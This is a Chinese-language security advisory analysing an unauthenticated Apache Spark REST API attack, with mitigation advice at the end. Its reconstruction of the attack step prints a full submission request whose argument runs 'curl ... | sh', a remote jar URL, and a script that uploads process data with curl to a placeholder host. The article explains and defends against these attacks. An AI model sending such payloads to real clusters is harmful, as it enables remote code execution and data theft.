如何进行Spark REST API未授权漏洞利用分析

今天就跟大家聊聊有关如何进行Spark REST API未授权漏洞利用分析，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

一、漏洞详情说明

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎，是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果，Spark也提供了 WEB UI图形化界面和相应的 REST API来方便用户操作。

Spark作为大数据时代的"计算引擎"，一旦被攻破，企业的核心数据资产、计算能力、用户敏感数据都将被攻击者窃取；更进一步的，由于Spark自身的分布式特性，一个攻击点的攻破可能导致整个集群的沦陷。Spark权限设置不当，可能导致攻击者无需认证即可通过该 REST API来操作Spark创建任务、删除任务、查看任务结果等，从而最终获得执行任意指令的能力。

我们还原了攻击者的攻击步骤：

1. 攻击者通过web扫描的方式发现了一台Spark webui服务

2. 构造攻击指令，并通过6066端口发送到该服务器的REST API

POST /v1/submissions/createhost:xxxx.xxx.xx:6066{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }

该攻击payload指示服务器远程下载https://xxxxxxxx.onion.plus/SimpleApp.jar ，并执行攻击者指定的任意方法，该攻击者还通过洋葱网络来隐藏自己的相关信息。

3.对该 jar 包进行逆向分析，该 jar 包即是一个简单的执行命令的后门，

执行 jar 包时，Spark服务器将会从洋葱网络中下载一段shell脚本并执行。

4.脚本内容如下：

#!/bin/bashps ax --sort=-pcpu > /tmp/tmp.txtcurl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.phprm -rf /tmp/tmp.txt

该脚本只是简单的将性能信息打印并回传，暂未进行进一步的攻击。

二、漏洞影响与变化态势

目前全网监控，开放了8080端口暴露在公网的Spark机器共有5000台左右，黑客可批量接管其中存在权限问题的机器。

在此之前，阿里云安全团队曾针对分布式计算系统相关的漏洞进行过预警

这两个漏洞原理和利用方法非常相似，这也佐证了之前的预判。

随着加密货币经济的进一步繁荣，具有强大算力，但是较弱安全能力的分布式应用将面临更多的漏洞利用和黑客攻击。

由于Hadoop Yarn未授权漏洞在全网已经成为了黑客挖矿的一种重要手法，我们有理由相信Spark REST API漏洞也将很快被黑产利用。

三、安全专家建议

建议通过iptables或者安全组配置访问策略，限制对8088、8081、7707、6606等端口的访问；并且如无必要，不要将接口开放在公网，改为本地或者内网调用；

建议使用Spark的yarn控制模式，并且开启HTTP Kerberos对WEB UI进行访问控制；如采用Spark standalone模式，需要自行实现访问控制的jar包，并设置spark.ui.filters对WEB UI进行访问控制，

看完上述内容，你们对如何进行Spark REST API未授权漏洞利用分析有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注行业资讯频道，感谢大家的支持。